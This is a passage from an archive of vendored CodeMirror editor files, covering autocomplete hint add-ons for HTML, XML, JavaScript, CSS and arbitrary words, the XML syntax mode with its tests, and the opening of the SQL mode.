        wrap: ["soft", "hard"]
      }
    },
    tfoot: s,
    th: { attrs: { colspan: null, rowspan: null, headers: null, scope: ["row", "col", "rowgroup", "colgroup"] } },
    thead: s,
    time: { attrs: { datetime: null } },
    title: s,
    tr: s,
    track: {
      attrs: {
        src: null, label: null, "default": null,
        kind: ["subtitles", "captions", "descriptions", "chapters", "metadata"],
        srclang: langs
      }
    },
    tt: s,
    u: s,
    ul: s,
    "var": s,
    video: {
      attrs: {
        src: null, poster: null, width: null, height: null,
        crossorigin: ["anonymous", "use-credentials"],
        preload: ["auto", "metadata", "none"],
        autoplay: ["", "autoplay"],
        mediagroup: ["movie"],
        muted: ["", "muted"],
        controls: ["", "controls"]
      }
    },
    wbr: s
  };

  var globalAttrs = {
    accesskey: ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"],
    "class": null,
    contenteditable: ["true", "false"],
    contextmenu: null,
    dir: ["ltr", "rtl", "auto"],
    draggable: ["true", "false", "auto"],
    dropzone: ["copy", "move", "link", "string:", "file:"],
    hidden: ["hidden"],
    id: null,
    inert: ["inert"],
    itemid: null,
    itemprop: null,
    itemref: null,
    itemscope: ["itemscope"],
    itemtype: null,
    lang: ["en", "es"],
    spellcheck: ["true", "false"],
    style: null,
    tabindex: ["1", "2", "3", "4", "5", "6", "7", "8", "9"],
    title: null,
    translate: ["yes", "no"],
    onclick: null,
    rel: ["stylesheet", "alternate", "author", "bookmark", "help", "license", "next", "nofollow", "noreferrer", "prefetch", "prev", "search", "tag"]
  };
  function populate(obj) {
    for (var attr in globalAttrs) if (globalAttrs.hasOwnProperty(attr))
      obj.attrs[attr] = globalAttrs[attr];
  }

  populate(s);
  for (var tag in data) if (data.hasOwnProperty(tag) && data[tag] != s)
    populate(data[tag]);

  CodeMirror.htmlSchema = data;
  function htmlHint(cm, options) {
    var local = {schemaInfo: data};
    if (options) for (var opt in options) local[opt] = options[opt];
    return CodeMirror.hint.xml(cm, local);
  }
  CodeMirror.registerHelper("hint", "html", htmlHint);
});
PK     0w\],    K  customizer/framework/assets/js/vendor/codemirror/addon/hint/anyword-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var WORD = /[\w$]+/, RANGE = 500;

  CodeMirror.registerHelper("hint", "anyword", function(editor, options) {
    var word = options && options.word || WORD;
    var range = options && options.range || RANGE;
    var cur = editor.getCursor(), curLine = editor.getLine(cur.line);
    var end = cur.ch, start = end;
    while (start && word.test(curLine.charAt(start - 1))) --start;
    var curWord = start != end && curLine.slice(start, end);

    var list = options && options.list || [], seen = {};
    var re = new RegExp(word.source, "g");
    for (var dir = -1; dir <= 1; dir += 2) {
      var line = cur.line, endLine = Math.min(Math.max(line + dir * range, editor.firstLine()), editor.lastLine()) + dir;
      for (; line != endLine; line += dir) {
        var text = editor.getLine(line), m;
        while (m = re.exec(text)) {
          if (line == cur.line && m[0] === curWord) continue;
          if ((!curWord || m[0].lastIndexOf(curWord, 0) == 0) && !Object.prototype.hasOwnProperty.call(seen, m[0])) {
            seen[m[0]] = true;
            list.push(m[0]);
          }
        }
      }
    }
    return {list: list, from: CodeMirror.Pos(cur.line, start), to: CodeMirror.Pos(cur.line, end)};
  });
});
PK     0w\    N  customizer/framework/assets/js/vendor/codemirror/addon/hint/javascript-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var Pos = CodeMirror.Pos;

  function forEach(arr, f) {
    for (var i = 0, e = arr.length; i < e; ++i) f(arr[i]);
  }

  function arrayContains(arr, item) {
    if (!Array.prototype.indexOf) {
      var i = arr.length;
      while (i--) {
        if (arr[i] === item) {
          return true;
        }
      }
      return false;
    }
    return arr.indexOf(item) != -1;
  }

  function scriptHint(editor, keywords, getToken, options) {
    // Find the token at the cursor
    var cur = editor.getCursor(), token = getToken(editor, cur);
    if (/\b(?:string|comment)\b/.test(token.type)) return;
    token.state = CodeMirror.innerMode(editor.getMode(), token.state).state;

    // If it's not a 'word-style' token, ignore the token.
    if (!/^[\w$_]*$/.test(token.string)) {
      token = {start: cur.ch, end: cur.ch, string: "", state: token.state,
               type: token.string == "." ? "property" : null};
    } else if (token.end > cur.ch) {
      token.end = cur.ch;
      token.string = token.string.slice(0, cur.ch - token.start);
    }

    var tprop = token;
    // If it is a property, find out what it is a property of.
    while (tprop.type == "property") {
      tprop = getToken(editor, Pos(cur.line, tprop.start));
      if (tprop.string != ".") return;
      tprop = getToken(editor, Pos(cur.line, tprop.start));
      if (!context) var context = [];
      context.push(tprop);
    }
    return {list: getCompletions(token, context, keywords, options),
            from: Pos(cur.line, token.start),
            to: Pos(cur.line, token.end)};
  }

  function javascriptHint(editor, options) {
    return scriptHint(editor, javascriptKeywords,
                      function (e, cur) {return e.getTokenAt(cur);},
                      options);
  };
  CodeMirror.registerHelper("hint", "javascript", javascriptHint);

  function getCoffeeScriptToken(editor, cur) {
  // This getToken, it is for coffeescript, imitates the behavior of
  // getTokenAt method in javascript.js, that is, returning "property"
  // type and treat "." as indepenent token.
    var token = editor.getTokenAt(cur);
    if (cur.ch == token.start + 1 && token.string.charAt(0) == '.') {
      token.end = token.start;
      token.string = '.';
      token.type = "property";
    }
    else if (/^\.[\w$_]*$/.test(token.string)) {
      token.type = "property";
      token.start++;
      token.string = token.string.replace(/\./, '');
    }
    return token;
  }

  function coffeescriptHint(editor, options) {
    return scriptHint(editor, coffeescriptKeywords, getCoffeeScriptToken, options);
  }
  CodeMirror.registerHelper("hint", "coffeescript", coffeescriptHint);

  var stringProps = ("charAt charCodeAt indexOf lastIndexOf substring substr slice trim trimLeft trimRight " +
                     "toUpperCase toLowerCase split concat match replace search").split(" ");
  var arrayProps = ("length concat join splice push pop shift unshift slice reverse sort indexOf " +
                    "lastIndexOf every some filter forEach map reduce reduceRight ").split(" ");
  var funcProps = "prototype apply call bind".split(" ");
  var javascriptKeywords = ("break case catch continue debugger default delete do else false finally for function " +
                  "if in instanceof new null return switch throw true try typeof var void while with").split(" ");
  var coffeescriptKeywords = ("and break catch class continue delete do else extends false finally for " +
                  "if in instanceof isnt new no not null of off on or return switch then throw true try typeof until void while with yes").split(" ");

  function getCompletions(token, context, keywords, options) {
    var found = [], start = token.string, global = options && options.globalScope || window;
    function maybeAdd(str) {
      if (str.lastIndexOf(start, 0) == 0 && !arrayContains(found, str)) found.push(str);
    }
    function gatherCompletions(obj) {
      if (typeof obj == "string") forEach(stringProps, maybeAdd);
      else if (obj instanceof Array) forEach(arrayProps, maybeAdd);
      else if (obj instanceof Function) forEach(funcProps, maybeAdd);
      for (var name in obj) maybeAdd(name);
    }

    if (context && context.length) {
      // If this is a property, see if it belongs to some object we can
      // find in the current environment.
      var obj = context.pop(), base;
      if (obj.type && obj.type.indexOf("variable") === 0) {
        if (options && options.additionalContext)
          base = options.additionalContext[obj.string];
        if (!options || options.useGlobalScope !== false)
          base = base || global[obj.string];
      } else if (obj.type == "string") {
        base = "";
      } else if (obj.type == "atom") {
        base = 1;
      } else if (obj.type == "function") {
        if (global.jQuery != null && (obj.string == '$' || obj.string == 'jQuery') &&
            (typeof global.jQuery == 'function'))
          base = global.jQuery();
        else if (global._ != null && (obj.string == '_') && (typeof global._ == 'function'))
          base = global._();
      }
      while (base != null && context.length)
        base = base[context.pop().string];
      if (base != null) gatherCompletions(base);
    } else {
      // If not, just look in the global object and any local scope
      // (reading into JS mode internals to get at the local and global variables)
      for (var v = token.state.localVars; v; v = v.next) maybeAdd(v.name);
      for (var v = token.state.globalVars; v; v = v.next) maybeAdd(v.name);
      if (!options || options.useGlobalScope !== false)
        gatherCompletions(global);
      forEach(keywords, maybeAdd);
    }
    return found;
  }
});
PK     0w\:6    G  customizer/framework/assets/js/vendor/codemirror/addon/hint/xml-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;

  function getHints(cm, options) {
    var tags = options && options.schemaInfo;
    var quote = (options && options.quoteChar) || '"';
    if (!tags) return;
    var cur = cm.getCursor(), token = cm.getTokenAt(cur);
    if (token.end > cur.ch) {
      token.end = cur.ch;
      token.string = token.string.slice(0, cur.ch - token.start);
    }
    var inner = CodeMirror.innerMode(cm.getMode(), token.state);
    if (inner.mode.name != "xml") return;
    var result = [], replaceToken = false, prefix;
    var tag = /\btag\b/.test(token.type) && !/>$/.test(token.string);
    var tagName = tag && /^\w/.test(token.string), tagStart;

    if (tagName) {
      var before = cm.getLine(cur.line).slice(Math.max(0, token.start - 2), token.start);
      var tagType = /<\/$/.test(before) ? "close" : /<$/.test(before) ? "open" : null;
      if (tagType) tagStart = token.start - (tagType == "close" ? 2 : 1);
    } else if (tag && token.string == "<") {
      tagType = "open";
    } else if (tag && token.string == "</") {
      tagType = "close";
    }

    if (!tag && !inner.state.tagName || tagType) {
      if (tagName)
        prefix = token.string;
      replaceToken = tagType;
      var cx = inner.state.context, curTag = cx && tags[cx.tagName];
      var childList = cx ? curTag && curTag.children : tags["!top"];
      if (childList && tagType != "close") {
        for (var i = 0; i < childList.length; ++i) if (!prefix || childList[i].lastIndexOf(prefix, 0) == 0)
          result.push("<" + childList[i]);
      } else if (tagType != "close") {
        for (var name in tags)
          if (tags.hasOwnProperty(name) && name != "!top" && name != "!attrs" && (!prefix || name.lastIndexOf(prefix, 0) == 0))
            result.push("<" + name);
      }
      if (cx && (!prefix || tagType == "close" && cx.tagName.lastIndexOf(prefix, 0) == 0))
        result.push("</" + cx.tagName + ">");
    } else {
      // Attribute completion
      var curTag = tags[inner.state.tagName], attrs = curTag && curTag.attrs;
      var globalAttrs = tags["!attrs"];
      if (!attrs && !globalAttrs) return;
      if (!attrs) {
        attrs = globalAttrs;
      } else if (globalAttrs) { // Combine tag-local and global attributes
        var set = {};
        for (var nm in globalAttrs) if (globalAttrs.hasOwnProperty(nm)) set[nm] = globalAttrs[nm];
        for (var nm in attrs) if (attrs.hasOwnProperty(nm)) set[nm] = attrs[nm];
        attrs = set;
      }
      if (token.type == "string" || token.string == "=") { // A value
        var before = cm.getRange(Pos(cur.line, Math.max(0, cur.ch - 60)),
                                 Pos(cur.line, token.type == "string" ? token.start : token.end));
        var atName = before.match(/([^\s\u00a0=<>\"\']+)=$/), atValues;
        if (!atName || !attrs.hasOwnProperty(atName[1]) || !(atValues = attrs[atName[1]])) return;
        if (typeof atValues == 'function') atValues = atValues.call(this, cm); // Functions can be used to supply values for autocomplete widget
        if (token.type == "string") {
          prefix = token.string;
          var n = 0;
          if (/['"]/.test(token.string.charAt(0))) {
            quote = token.string.charAt(0);
            prefix = token.string.slice(1);
            n++;
          }
          var len = token.string.length;
          if (/['"]/.test(token.string.charAt(len - 1))) {
            quote = token.string.charAt(len - 1);
            prefix = token.string.substr(n, len - 2);
          }
          replaceToken = true;
        }
        for (var i = 0; i < atValues.length; ++i) if (!prefix || atValues[i].lastIndexOf(prefix, 0) == 0)
          result.push(quote + atValues[i] + quote);
      } else { // An attribute name
        if (token.type == "attribute") {
          prefix = token.string;
          replaceToken = true;
        }
        for (var attr in attrs) if (attrs.hasOwnProperty(attr) && (!prefix || attr.lastIndexOf(prefix, 0) == 0))
          result.push(attr);
      }
    }
    return {
      list: result,
      from: replaceToken ? Pos(cur.line, tagStart == null ? token.start : tagStart) : cur,
      to: replaceToken ? Pos(cur.line, token.end) : cur
    };
  }

  CodeMirror.registerHelper("hint", "xml", getHints);
});
PK     0w\[	u  u  G  customizer/framework/assets/js/vendor/codemirror/addon/hint/css-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../../mode/css/css"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../../mode/css/css"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var pseudoClasses = {link: 1, visited: 1, active: 1, hover: 1, focus: 1,
                       "first-letter": 1, "first-line": 1, "first-child": 1,
                       before: 1, after: 1, lang: 1};

  CodeMirror.registerHelper("hint", "css", function(cm) {
    var cur = cm.getCursor(), token = cm.getTokenAt(cur);
    var inner = CodeMirror.innerMode(cm.getMode(), token.state);
    if (inner.mode.name != "css") return;

    if (token.type == "keyword" && "!important".indexOf(token.string) == 0)
      return {list: ["!important"], from: CodeMirror.Pos(cur.line, token.start),
              to: CodeMirror.Pos(cur.line, token.end)};

    var start = token.start, end = cur.ch, word = token.string.slice(0, end - start);
    if (/[^\w$_-]/.test(word)) {
      word = ""; start = end = cur.ch;
    }

    var spec = CodeMirror.resolveMode("text/css");

    var result = [];
    function add(keywords) {
      for (var name in keywords)
        if (!word || name.lastIndexOf(word, 0) == 0)
          result.push(name);
    }

    var st = inner.state.state;
    if (st == "pseudo" || token.type == "variable-3") {
      add(pseudoClasses);
    } else if (st == "block" || st == "maybeprop") {
      add(spec.propertyKeywords);
    } else if (st == "prop" || st == "parens" || st == "at" || st == "params") {
      add(spec.valueKeywords);
      add(spec.colorKeywords);
    } else if (st == "media" || st == "media_parens") {
      add(spec.mediaTypes);
      add(spec.mediaFeatures);
    }

    if (result.length) return {
      list: result,
      from: CodeMirror.Pos(cur.line, start),
      to: CodeMirror.Pos(cur.line, end)
    };
  });
});
PK     0w\mQE    I  customizer/framework/assets/js/vendor/codemirror/addon/hint/show-hint.cssnu [        .CodeMirror-hints {
  position: absolute;
  z-index: 10;
  overflow: hidden;
  list-style: none;

  margin: 0;
  padding: 2px;

  -webkit-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  -moz-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  border-radius: 3px;
  border: 1px solid silver;

  background: white;
  font-size: 90%;
  font-family: monospace;

  max-height: 20em;
  overflow-y: auto;
}

.CodeMirror-hint {
  margin: 0;
  padding: 0 4px;
  border-radius: 2px;
  max-width: 19em;
  overflow: hidden;
  white-space: pre;
  color: black;
  cursor: pointer;
}

li.CodeMirror-hint-active {
  background: #08f;
  color: white;
}
PK     0w\g^4q0  q0  @  customizer/framework/assets/js/vendor/codemirror/mode/xml/xml.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("xml", function(config, parserConfig) {
  var indentUnit = config.indentUnit;
  var multilineTagIndentFactor = parserConfig.multilineTagIndentFactor || 1;
  var multilineTagIndentPastTag = parserConfig.multilineTagIndentPastTag;
  if (multilineTagIndentPastTag == null) multilineTagIndentPastTag = true;

  var Kludges = parserConfig.htmlMode ? {
    autoSelfClosers: {'area': true, 'base': true, 'br': true, 'col': true, 'command': true,
                      'embed': true, 'frame': true, 'hr': true, 'img': true, 'input': true,
                      'keygen': true, 'link': true, 'meta': true, 'param': true, 'source': true,
                      'track': true, 'wbr': true, 'menuitem': true},
    implicitlyClosed: {'dd': true, 'li': true, 'optgroup': true, 'option': true, 'p': true,
                       'rp': true, 'rt': true, 'tbody': true, 'td': true, 'tfoot': true,
                       'th': true, 'tr': true},
    contextGrabbers: {
      'dd': {'dd': true, 'dt': true},
      'dt': {'dd': true, 'dt': true},
      'li': {'li': true},
      'option': {'option': true, 'optgroup': true},
      'optgroup': {'optgroup': true},
      'p': {'address': true, 'article': true, 'aside': true, 'blockquote': true, 'dir': true,
            'div': true, 'dl': true, 'fieldset': true, 'footer': true, 'form': true,
            'h1': true, 'h2': true, 'h3': true, 'h4': true, 'h5': true, 'h6': true,
            'header': true, 'hgroup': true, 'hr': true, 'menu': true, 'nav': true, 'ol': true,
            'p': true, 'pre': true, 'section': true, 'table': true, 'ul': true},
      'rp': {'rp': true, 'rt': true},
      'rt': {'rp': true, 'rt': true},
      'tbody': {'tbody': true, 'tfoot': true},
      'td': {'td': true, 'th': true},
      'tfoot': {'tbody': true},
      'th': {'td': true, 'th': true},
      'thead': {'tbody': true, 'tfoot': true},
      'tr': {'tr': true}
    },
    doNotIndent: {"pre": true},
    allowUnquoted: true,
    allowMissing: true,
    caseFold: true
  } : {
    autoSelfClosers: {},
    implicitlyClosed: {},
    contextGrabbers: {},
    doNotIndent: {},
    allowUnquoted: false,
    allowMissing: false,
    caseFold: false
  };
  var alignCDATA = parserConfig.alignCDATA;

  // Return variables for tokenizers
  var type, setStyle;

  function inText(stream, state) {
    function chain(parser) {
      state.tokenize = parser;
      return parser(stream, state);
    }

    var ch = stream.next();
    if (ch == "<") {
      if (stream.eat("!")) {
        if (stream.eat("[")) {
          if (stream.match("CDATA[")) return chain(inBlock("atom", "]]>"));
          else return null;
        } else if (stream.match("--")) {
          return chain(inBlock("comment", "-->"));
        } else if (stream.match("DOCTYPE", true, true)) {
          stream.eatWhile(/[\w\._\-]/);
          return chain(doctype(1));
        } else {
          return null;
        }
      } else if (stream.eat("?")) {
        stream.eatWhile(/[\w\._\-]/);
        state.tokenize = inBlock("meta", "?>");
        return "meta";
      } else {
        type = stream.eat("/") ? "closeTag" : "openTag";
        state.tokenize = inTag;
        return "tag bracket";
      }
    } else if (ch == "&") {
      var ok;
      if (stream.eat("#")) {
        if (stream.eat("x")) {
          ok = stream.eatWhile(/[a-fA-F\d]/) && stream.eat(";");
        } else {
          ok = stream.eatWhile(/[\d]/) && stream.eat(";");
        }
      } else {
        ok = stream.eatWhile(/[\w\.\-:]/) && stream.eat(";");
      }
      return ok ? "atom" : "error";
    } else {
      stream.eatWhile(/[^&<]/);
      return null;
    }
  }
  inText.isInText = true;

  function inTag(stream, state) {
    var ch = stream.next();
    if (ch == ">" || (ch == "/" && stream.eat(">"))) {
      state.tokenize = inText;
      type = ch == ">" ? "endTag" : "selfcloseTag";
      return "tag bracket";
    } else if (ch == "=") {
      type = "equals";
      return null;
    } else if (ch == "<") {
      state.tokenize = inText;
      state.state = baseState;
      state.tagName = state.tagStart = null;
      var next = state.tokenize(stream, state);
      return next ? next + " tag error" : "tag error";
    } else if (/[\'\"]/.test(ch)) {
      state.tokenize = inAttribute(ch);
      state.stringStartCol = stream.column();
      return state.tokenize(stream, state);
    } else {
      stream.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/);
      return "word";
    }
  }

  function inAttribute(quote) {
    var closure = function(stream, state) {
      while (!stream.eol()) {
        if (stream.next() == quote) {
          state.tokenize = inTag;
          break;
        }
      }
      return "string";
    };
    closure.isInAttribute = true;
    return closure;
  }

  function inBlock(style, terminator) {
    return function(stream, state) {
      while (!stream.eol()) {
        if (stream.match(terminator)) {
          state.tokenize = inText;
          break;
        }
        stream.next();
      }
      return style;
    };
  }
  function doctype(depth) {
    return function(stream, state) {
      var ch;
      while ((ch = stream.next()) != null) {
        if (ch == "<") {
          state.tokenize = doctype(depth + 1);
          return state.tokenize(stream, state);
        } else if (ch == ">") {
          if (depth == 1) {
            state.tokenize = inText;
            break;
          } else {
            state.tokenize = doctype(depth - 1);
            return state.tokenize(stream, state);
          }
        }
      }
      return "meta";
    };
  }

  function Context(state, tagName, startOfLine) {
    this.prev = state.context;
    this.tagName = tagName;
    this.indent = state.indented;
    this.startOfLine = startOfLine;
    if (Kludges.doNotIndent.hasOwnProperty(tagName) || (state.context && state.context.noIndent))
      this.noIndent = true;
  }
  function popContext(state) {
    if (state.context) state.context = state.context.prev;
  }
  function maybePopContext(state, nextTagName) {
    var parentTagName;
    while (true) {
      if (!state.context) {
        return;
      }
      parentTagName = state.context.tagName;
      if (!Kludges.contextGrabbers.hasOwnProperty(parentTagName) ||
          !Kludges.contextGrabbers[parentTagName].hasOwnProperty(nextTagName)) {
        return;
      }
      popContext(state);
    }
  }

  function baseState(type, stream, state) {
    if (type == "openTag") {
      state.tagStart = stream.column();
      return tagNameState;
    } else if (type == "closeTag") {
      return closeTagNameState;
    } else {
      return baseState;
    }
  }
  function tagNameState(type, stream, state) {
    if (type == "word") {
      state.tagName = stream.current();
      setStyle = "tag";
      return attrState;
    } else {
      setStyle = "error";
      return tagNameState;
    }
  }
  function closeTagNameState(type, stream, state) {
    if (type == "word") {
      var tagName = stream.current();
      if (state.context && state.context.tagName != tagName &&
          Kludges.implicitlyClosed.hasOwnProperty(state.context.tagName))
        popContext(state);
      if (state.context && state.context.tagName == tagName) {
        setStyle = "tag";
        return closeState;
      } else {
        setStyle = "tag error";
        return closeStateErr;
      }
    } else {
      setStyle = "error";
      return closeStateErr;
    }
  }

  function closeState(type, _stream, state) {
    if (type != "endTag") {
      setStyle = "error";
      return closeState;
    }
    popContext(state);
    return baseState;
  }
  function closeStateErr(type, stream, state) {
    setStyle = "error";
    return closeState(type, stream, state);
  }

  function attrState(type, _stream, state) {
    if (type == "word") {
      setStyle = "attribute";
      return attrEqState;
    } else if (type == "endTag" || type == "selfcloseTag") {
      var tagName = state.tagName, tagStart = state.tagStart;
      state.tagName = state.tagStart = null;
      if (type == "selfcloseTag" ||
          Kludges.autoSelfClosers.hasOwnProperty(tagName)) {
        maybePopContext(state, tagName);
      } else {
        maybePopContext(state, tagName);
        state.context = new Context(state, tagName, tagStart == state.indented);
      }
      return baseState;
    }
    setStyle = "error";
    return attrState;
  }
  function attrEqState(type, stream, state) {
    if (type == "equals") return attrValueState;
    if (!Kludges.allowMissing) setStyle = "error";
    return attrState(type, stream, state);
  }
  function attrValueState(type, stream, state) {
    if (type == "string") return attrContinuedState;
    if (type == "word" && Kludges.allowUnquoted) {setStyle = "string"; return attrState;}
    setStyle = "error";
    return attrState(type, stream, state);
  }
  function attrContinuedState(type, stream, state) {
    if (type == "string") return attrContinuedState;
    return attrState(type, stream, state);
  }

  return {
    startState: function() {
      return {tokenize: inText,
              state: baseState,
              indented: 0,
              tagName: null, tagStart: null,
              context: null};
    },

    token: function(stream, state) {
      if (!state.tagName && stream.sol())
        state.indented = stream.indentation();

      if (stream.eatSpace()) return null;
      type = null;
      var style = state.tokenize(stream, state);
      if ((style || type) && style != "comment") {
        setStyle = null;
        state.state = state.state(type || style, stream, state);
        if (setStyle)
          style = setStyle == "error" ? style + " error" : setStyle;
      }
      return style;
    },

    indent: function(state, textAfter, fullLine) {
      var context = state.context;
      // Indent multi-line strings (e.g. css).
      if (state.tokenize.isInAttribute) {
        if (state.tagStart == state.indented)
          return state.stringStartCol + 1;
        else
          return state.indented + indentUnit;
      }
      if (context && context.noIndent) return CodeMirror.Pass;
      if (state.tokenize != inTag && state.tokenize != inText)
        return fullLine ? fullLine.match(/^(\s*)/)[0].length : 0;
      // Indent the starts of attribute names.
      if (state.tagName) {
        if (multilineTagIndentPastTag)
          return state.tagStart + state.tagName.length + 2;
        else
          return state.tagStart + indentUnit * multilineTagIndentFactor;
      }
      if (alignCDATA && /<!\[CDATA\[/.test(textAfter)) return 0;
      var tagAfter = textAfter && /^<(\/)?([\w_:\.-]*)/.exec(textAfter);
      if (tagAfter && tagAfter[1]) { // Closing tag spotted
        while (context) {
          if (context.tagName == tagAfter[2]) {
            context = context.prev;
            break;
          } else if (Kludges.implicitlyClosed.hasOwnProperty(context.tagName)) {
            context = context.prev;
          } else {
            break;
          }
        }
      } else if (tagAfter) { // Opening tag spotted
        while (context) {
          var grabbers = Kludges.contextGrabbers[context.tagName];
          if (grabbers && grabbers.hasOwnProperty(tagAfter[2]))
            context = context.prev;
          else
            break;
        }
      }
      while (context && !context.startOfLine)
        context = context.prev;
      if (context) return context.indent + indentUnit;
      else return 0;
    },

    electricInput: /<\/[\s\w:]+>$/,
    blockCommentStart: "<!--",
    blockCommentEnd: "-->",

    configuration: parserConfig.htmlMode ? "html" : "xml",
    helperType: parserConfig.htmlMode ? "html" : "xml"
  };
});

CodeMirror.defineMIME("text/xml", "xml");
CodeMirror.defineMIME("application/xml", "xml");
if (!CodeMirror.mimeModes.hasOwnProperty("text/html"))
  CodeMirror.defineMIME("text/html", {name: "xml", htmlMode: true});

});
PK     0w\d    A  customizer/framework/assets/js/vendor/codemirror/mode/xml/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({indentUnit: 2}, "xml"), mname = "xml";
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1), mname); }

  MT("matching",
     "[tag&bracket <][tag top][tag&bracket >]",
     "  text",
     "  [tag&bracket <][tag inner][tag&bracket />]",
     "[tag&bracket </][tag top][tag&bracket >]");

  MT("nonmatching",
     "[tag&bracket <][tag top][tag&bracket >]",
     "  [tag&bracket <][tag inner][tag&bracket />]",
     "  [tag&bracket </][tag&error tip][tag&bracket&error >]");

  MT("doctype",
     "[meta <!doctype foobar>]",
     "[tag&bracket <][tag top][tag&bracket />]");

  MT("cdata",
     "[tag&bracket <][tag top][tag&bracket >]",
     "  [atom <![CDATA[foo]",
     "[atom barbazguh]]]]>]",
     "[tag&bracket </][tag top][tag&bracket >]");

  // HTML tests
  mode = CodeMirror.getMode({indentUnit: 2}, "text/html");

  MT("selfclose",
     "[tag&bracket <][tag html][tag&bracket >]",
     "  [tag&bracket <][tag link] [attribute rel]=[string stylesheet] [attribute href]=[string \"/foobar\"][tag&bracket >]",
     "[tag&bracket </][tag html][tag&bracket >]");

  MT("list",
     "[tag&bracket <][tag ol][tag&bracket >]",
     "  [tag&bracket <][tag li][tag&bracket >]one",
     "  [tag&bracket <][tag li][tag&bracket >]two",
     "[tag&bracket </][tag ol][tag&bracket >]");

  MT("valueless",
     "[tag&bracket <][tag input] [attribute type]=[string checkbox] [attribute checked][tag&bracket />]");

  MT("pThenArticle",
     "[tag&bracket <][tag p][tag&bracket >]",
     "  foo",
     "[tag&bracket <][tag article][tag&bracket >]bar");

})();
PK     0w\0ʺg  g  @  customizer/framework/assets/js/vendor/codemirror/mode/sql/sql.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("sql", function(config, parserConfig) {
  "use strict";

  var client         = parserConfig.client || {},
      atoms          = parserConfig.atoms || {"false": true, "true": true, "null": true},
      builtin        = parserConfig.builtin || {},
      keywords       = parserConfig.keywords || {},
      operatorChars  = parserConfig.operatorChars || /^[*+\-%<>!=&|~^]/,
      support        = parserConfig.support || {},
      hooks          = parserConfig.hooks || {},
      dateSQL        = parserConfig.dateSQL || {"date" : true, "time" : true, "timestamp" : true};

  function tokenBase(stream, state) {
    var ch = stream.next();

    // call hooks from the mime type
    if (hooks[ch]) {
      var result = hooks[ch](stream, state);
      if (result !== false) return result;
    }

    if (support.hexNumber == true &&
      ((ch == "0" && stream.match(/^[xX][0-9a-fA-F]+/))
      || (ch == "x" || ch == "X") && stream.match(/^'[0-9a-fA-F]+'/))) {
      // hex
      // ref: http://dev.mysql.com/doc/refman/5.5/en/hexadecimal-literals.html
      return "number";
    } else if (support.binaryNumber == true &&
      (((ch == "b" || ch == "B") && stream.match(/^'[01]+'/))
      || (ch == "0" && stream.match(/^b[01]+/)))) {
      // bitstring
      // ref: http://dev.mysql.com/doc/refman/5.5/en/bit-field-literals.html
      return "number";
    } else if (ch.charCodeAt(0) > 47 && ch.charCodeAt(0) < 58) {
      // numbers
      // ref: http://dev.mysql.com/doc/refman/5.5/en/number-literals.html
          stream.match(/^[0-9]*\.?[0-9]+([eE][-+]?[0-9]+)?/);
      support.decimallessFloat == true && stream.eat('.');
      return "number";
    } else if (ch == "?" && (stream.eatSpace() || stream.eol() || stream.eat(";"))) {
      // placeholders
      return "variable-3";
    } else if (ch == "'" || (ch == '"' && support.doubleQuote)) {
      // strings
      // ref: http://dev.mysql.com/doc/refman/5.5/en/string-literals.html
      state.tokenize = tokenLiteral(ch);
      return state.tokenize(stream, state);
    } else if ((((support.nCharCast == true && (ch == "n" || ch == "N"))
        || (support.charsetCast == true && ch == "_" && stream.match(/[a-z][a-z0-9]*/i)))
        && (stream.peek() == "'" || stream.peek() == '"'))) {
      // charset casting: _utf8'str', N'str', n'str'
      // ref: http://dev.mysql.com/doc/refman/5.5/en/string-literals.html
      return "keyword";
    } else if (/^[\(\),\;\[\]]/.test(ch)) {
